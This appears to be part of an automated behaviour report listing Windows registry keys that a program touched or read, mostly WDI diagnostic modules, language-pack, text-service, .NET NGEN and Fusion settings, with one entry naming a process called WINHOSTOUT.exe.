HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NameResource HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WDI\Config HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\Config\ServerName HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\CLResolutionInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\DisplayInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\SkipWatson HKEY_LOCAL_MACHINE\Software\Microsoft\RADAR\HeapLeakDetection\Settings HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\Settings\ReflectionInterval HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0\DataFilePath HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane6 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane7 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane8 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane9 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane10 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane11 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane12 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane13 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane14 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane15 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Plane16 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback\Segoe UI HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\WINHOSTOUT.exe HKEY_LOCAL_MACHINE\Software\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-aeae25577436}\Enable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{03B5835F-F03C-411B-9CE2-AA23E1171E36}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{07EB03D6-B001-41DF-9192-BF9B841EE71F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{3697C5FA-60DD-4B56-92D4-74A569205C16}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{531FDEBF-9B4C-4A43-A2AA-960E8FCDC732}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{70FAF614-E0B1-11D3-8F5C-00C04F9CF4AC}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{78CB5B0E-26ED-4FCC-854C-77E8F3D1AA80}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{81D4E9C9-1D3B-41BC-9E6C-4B40BF79E35E}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{8613E14C-D0C0-4161-AC0F-1DD2563286BC}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{A028AE76-01B1-46C2-99C4-ACD9858AE02F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{AE6BE008-07FB-400D-8BEB-337A64F7051F}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{C1EE01F2-B3B6-4A6A-9DDD-E988C088EC82}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{DCBD6FA8-032F-11D3-B5B1-00C04FC324A1}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{E429B25A-E5D3-4D1F-9BE3-0C608477E3A1}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{F25E9F57-2FC8-4EB3-A41A-CCE5F08541E6}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{F89E9E58-BD2F-4008-9AC2-0F816C09F4EE}\Category\Category\{534C48C1-0607-4098-A521-4FC899C73E90} HKEY_CURRENT_USER\Keyboard Layout\Toggle HKEY_CURRENT_USER\Keyboard Layout\Toggle\Language Hotkey HKEY_CURRENT_USER\Keyboard Layout\Toggle\Hotkey HKEY_CURRENT_USER\Keyboard Layout\Toggle\Layout Hotkey HKEY_CURRENT_USER\Software\Microsoft\CTF\DirectSwitchHotkeys HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\ HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\KnownClasses HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenServiceDebugLog HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Client HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Client\Install HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGEN_USE_PRIVATE_STORE HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DefaultVersion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Version HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\ZapSet HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NetFramework\v2.0.50727\NGenService\Roots HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\Roots\WorkPending HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENBreakOnWorker HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenRegistryAccessCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NetFramework\v2.0.50727\NGENService\State HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\State\ HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\State\ExtraInstallSteps HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceBreakOnStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenMaxLogSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceTestHookDll HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServicePolicy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NetFramework\v2.0.50727\NGENService\ListenedState HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\ListenedState\ HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\ListenedState\RootstoreDirty HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENUseService HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorsvw.exe HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NetFramework\v2.0.50727\NGENService\State\PendingReboot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceWaitAggressiveWork HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceConservative HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenWorkerCount HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\EnableMultiproc HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\SvcRetryNgenFailures HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenLocalWorker HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceRestrictWorkersPrivileges HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceWaitWorking
Read Keys
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData 